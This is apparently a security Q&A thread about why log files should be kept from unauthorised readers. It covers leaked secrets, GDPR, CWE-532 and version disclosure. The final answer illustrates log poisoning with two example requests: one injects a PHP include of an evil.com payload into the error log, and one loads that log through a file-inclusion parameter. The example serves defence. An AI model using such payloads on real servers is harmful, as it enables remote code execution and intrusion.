mjhjmtu

There are clearly 2 different lines of defense here.

First, highly sensitive data (secrets, typically passwords) should never be logged to avoid compromise through logs.

But the more an attacker knows about a system, the higher the risk to build/use a targetted attack. For example software versions are not highly sensitive and can reasonably feed a log, but they can help in choosing an attack vector.

So the second line of defense is that someone that does not need access to the logs should not be able to read them. That is a direct application of the least privilege rule.

It is common to provide log access to the dev/maintenance team, but you should evaluate the risk/gain ratio, according to your access security tools. The most secure system is the one that cannot be accessed by any user, but its useability is very low too...

Access to raw log data should be restricted to authorized users.

The simple reason for that is that even when under normal operating conditions your applications may should not log any data too sensitive to expose (and opinions/regulations on what that is exactly may differ) there almost certainly will come a time when your logs do contain sensitive data:

• Unless you're extremely familiar with your applications you don't beforehand know what detail will get logged when the application throws errors or exceptions.
  
  Most applications are designed to restrict the amount of detail in error messages they present to end users but will log (much) more detail in their logs to help admins and developers troubleshoot the cause of those errors and exceptions.




• You may need to increase the log verbosity for troubleshooting to such a level that logs will contain sensitive details that would normally get suppressed.




• As people commented: people entering passwords for login names and developers using the GET method rather then POST and a myriad of similar human errors may result in otherwise much more innocuous fields in log events getting "polluted" with sensitive data.

There are products that will allow you to grant authenticated users web based access and set ACL's to either only aggregated reports, sanitized/filtered log data and/or all raw log events such as Splunk, Kibana and similar.

And although access to raw log data should be restricted you can still decide to publish more publicly either a sanitized subset of your logs or the reports that you would generate based on the logs, i.e. publish a usage report and visitor statistics rather than the raw access log

It has more points of view:

1) By not hiding logs, you expose your infrastructure.

2) EU has a GDPR. Exposing IP's, names, e-mails or anything personal is prohibited. (and at least immoral and bad behaviour) gdpr-info.eu/art-32-gdpr

If you need to show the logged data to third party or an easy access use dedicated tool. In my office it's graylog for example. You can easily harvest the logs, store them and control access to them.

The vulnerabilities that may arise from the types of information written to log files is enumerated as CWE-532 in the Common Weakness Enumeration database.

Information written to log files can be of a sensitive nature and give valuable guidance to an attacker or expose sensitive user information.

The issue of protected, personally-identifiable information is also quite relevant, as addressed in @KOLEGA's answer above.

Even if you don't intentionally log sensitive information, sometimes it can be logged inadvertently.

For instance, suppose you log the username of failed logins. Sometimes people accidentally type their password into the username field, and this will then be logged.

It's best to treat logs as potentially containing information that should be protected, even if you don't normally consider it sensitive.

Log files should be located on a safe location by default in general. Log files can contain IP address, emails, and law protected information. So my recommendation is always keeps the log files on a safe location. On the other hand, in some cases these log files are used for forensic purposes and you should protect modification of them if possible, this depends a bit on your system.

Like Serge Ballesta said, sensitive information (usernames, passwords, etc.) should really never be put in a log file.

The main real security concern that comes out of having publicly accessible log files comes from gaining information about your system, especially if you are using publicly available software (not developed for that unique system).

If I'm attempting to gain access to your system, one thing I might check FIRST is your log files. If I'm able to discern what software your system is running, and even more importantly, what VERSION of that software is being used, I can narrow down my search for exploits drastically. Maybe you haven't updated your software to the most recent version, there is a bug in the old version that allows me to use SQL injection, and there is a line in your log that states the current software version being used.

It's about the same level of a security risk as using open source code. It just makes it a tad easier for an attacker to find exploits. Food for thought.

Some good answers here - but not complete.

Yes, potentially your log files may contain sensitive data, hence that data should be explicitly restricted to those users who are authorized to access it. Sadly my experience is that most organizations which implement this kind of control, grossly misjudge the number of people whom should be authorized.

But another important point is that your users control a lot of the data which subsequently appears in the log files. Depending on the system architecture of your application, this can provide a mechanism for leveraging a local file inclusion vulnerability into a full exploit. Consider:

 GET /nonesuch%3C%3Finclude%20'http://evil.com/attack';%3F%3E
 GET /vulnerable.php?file=/var/log/httpd/error_log

This may be mitigated by how your webserver handles the encoding of the request on input and when writing to log files (but is it completely watertight?). If you allow the webserver to access the log file location directly via a URL, then the escalation mechanism is slightly different.

(Note that in the example above, if it is possible to invoke a remote include, then that will likely be possible across all the code, hence persisting the exploit in the log file is redundant - but this is just for illustration purposes, more complex exploits can be written)